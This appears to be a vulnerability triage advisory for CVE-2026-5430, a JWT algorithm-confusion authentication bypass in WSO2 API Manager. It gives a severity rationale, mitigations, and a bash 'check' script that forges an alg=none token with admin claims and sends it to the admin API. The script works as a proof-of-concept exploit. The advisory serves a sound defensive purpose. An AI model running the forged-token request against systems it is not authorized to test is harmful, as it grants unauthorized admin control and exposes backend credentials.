The JWT authentication mechanism accepts tokens signed with algorithms other than those explicitly…

CVE-2026-5430 is a JWT algorithm confusion flaw in WSO2's API management stack — API Manager (4.1.0–4.6.0), API Control Plane (4.5.0–4.6.0), Traffic Manager (4.5.0–4.6.0), and Universal Gateway (4.5.0–4.6.0). The token validation logic accepts JWTs signed with algorithms that were never configured or intended to be supported. An attacker crafts a token specifying such an algorithm, and the system shrugs and lets it through — no credentials, no user interaction, nothing. The forged token can carry admin-level claims, handing the attacker full control of the management plane, every registered API's backend credentials, consumer keys, and application secrets.

WSO2 rated this a CVSS 10.0 (Scope:Changed for multi-tenant) and 9.8 (Scope:Unchanged for single-tenant). The vendor severity is accurate and may even understate operational risk. The bug is trivially exploitable from the network with zero prerequisites, the affected component is an API gateway that by design faces the internet, and WatchTowr confirmed active exploitation with forged admin tokens landing on honeypots starting September 13, 2026. The patch has been available since April 2026 — five months of exposure for anyone who hasn't updated.

Why this verdict

• Zero authentication required: The attack chain starts and finishes with a single unauthenticated HTTP request carrying a crafted JWT. No credentials, no user interaction, no race conditions. AC:L/PR:N/UI:N is the worst-case access profile — no friction to discount.
• Role multiplier: WSO2 API Manager is a network edge appliance / API gateway — it exists to sit between the internet and backend services. ≥50% of deployments are internet-facing by design. A compromised API gateway yields: (a) admin control of the management plane, (b) every registered API's backend URL and credentials, (c) every OAuth consumer key and secret. Blast radius is fleet-scale lateral movement into the entire backend service mesh. This places the component squarely in the high-value-role catalog, setting a CRITICAL floor.
• Active exploitation confirmed: WatchTowr honeypots captured forged admin tokens on September 13, 2026. This is not theoretical — attackers are weaponizing this now, four days ago. The patch has been available for five months, meaning the unpatched population is self-selected and likely includes production systems.
• Trivial weaponization: JWT algorithm confusion is a well-understood attack class. No custom tooling or deep reverse engineering is needed — modify the alg header, set admin claims, send the request. The skill floor for exploitation is extremely low.

Why not higher?

The vendor already assigned the maximum possible CVSS score of 10.0. We adjust to 9.8 to reflect that most enterprise deployments are single-tenant (Scope:Unchanged), but the verdict remains CRITICAL. There is no higher severity bucket.

Why not lower?

Downgrading below CRITICAL is impossible here. The component is a network edge API gateway — internet exposure is its entire purpose. There are zero authentication prerequisites, zero complexity barriers, and confirmed active exploitation. The blast radius extends beyond the gateway itself into every backend service it proxies. Even if an organization has the gateway behind a VPN (atypical), the role-multiplier floor for a canonical network-edge component with this exploitability profile is CRITICAL.

1. Block unsigned and algorithm-mismatched JWTs at the WAF/reverse proxy — Deploy a WAF rule or reverse proxy filter (e.g., ModSecurity, Cloudflare, AWS WAF) that inspects the JWT alg header and rejects tokens using none, HS256, or any algorithm not in your configured allow-list. This is the fastest compensating control — deploy within 3 days per the noisgate mitigation SLA for CRITICAL.
2. Restrict management plane access to internal networks — If not already done, move /carbon, /publisher, /devportal, and /api/am/admin paths behind a VPN or IP allowlist immediately. The management APIs should never be internet-facing. This limits the attack surface to internal-only while you patch.
3. Rotate all API credentials and consumer keys/secrets — Assume compromise if your instance was internet-facing and unpatched between May and September 2026. Rotate every OAuth consumer key/secret, backend service credential, and admin password. Attackers who already exploited the bug retain access via harvested credentials even after patching.
4. Enable and monitor API Manager audit logs — Turn on verbose audit logging for the management plane. Alert on bulk API enumeration, new admin user creation, and JWT algorithm mismatch events. Forward to SIEM for correlation.

Run this script on any host with curl and jq installed, pointed at the WSO2 API Manager management endpoint. Usage: bash check_cve_2026_5430.sh https://wso2.example.com. No special privileges required — it makes a single unauthenticated HTTP request.

#!/usr/bin/env bash
# CVE-2026-5430 WSO2 JWT Algorithm Confusion Check
# Usage: bash check_cve_2026_5430.sh <WSO2_BASE_URL>
# Outputs: VULNERABLE / PATCHED / UNKNOWN
# Requires: curl, jq, base64

set -euo pipefail

if [ $# -lt 1 ]; then
  echo "Usage: $0 <WSO2_BASE_URL>"
  echo "Example: $0 https://apim.example.com"
  exit 2
fi

BASE_URL="${1%/}"

# Craft a minimal JWT with alg=none and admin claims
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"sub":"admin","iss":"wso2.org/products/am","exp":9999999999,"http://wso2.org/claims/role":"admin,Internal/everyone"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
TOKEN="${HEADER}.${PAYLOAD}."

# Attempt to access a management API endpoint with the forged token
HTTP_CODE=$(curl -sk -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer ${TOKEN}" \
  "${BASE_URL}/api/am/admin/v4/settings" 2>/dev/null || echo "000")

case "$HTTP_CODE" in
  200|201|202)
    echo "VULNERABLE"
    echo "CVE-2026-5430: The server accepted a JWT with alg=none and returned HTTP ${HTTP_CODE}."
    echo "ACTION REQUIRED: Apply WSO2 update immediately."
    exit 1
    ;;
  401|403)
    echo "PATCHED"
    echo "The server rejected the forged JWT (HTTP ${HTTP_CODE}). Algorithm validation appears functional."
    exit 0
    ;;
  000)
    echo "UNKNOWN"
    echo "Could not connect to ${BASE_URL}. Verify the URL and network connectivity."
    exit 2
    ;;
  *)
    echo "UNKNOWN"
    echo "Unexpected HTTP response code: ${HTTP_CODE}. Manual verification recommended."
    exit 2
    ;;
esac

Sources

1. WSO2 Security Advisory WSO2-2026-5328
2. SecurityWeek — Enterprises Warned of Attacks Exploiting WSO2 Vulnerability
3. The Hacker News — Active Exploitation Attempts Target WSO2 API Manager JWT Bypass
4. Cyber Security News — Critical WSO2 Vulnerability
5. GitHub — WSO2 carbon-apimgt fix PR #13752
6. GitHub — WSO2 product-apim fix PR #14167
7. Strix.ai — CVE-2026-5430 Detail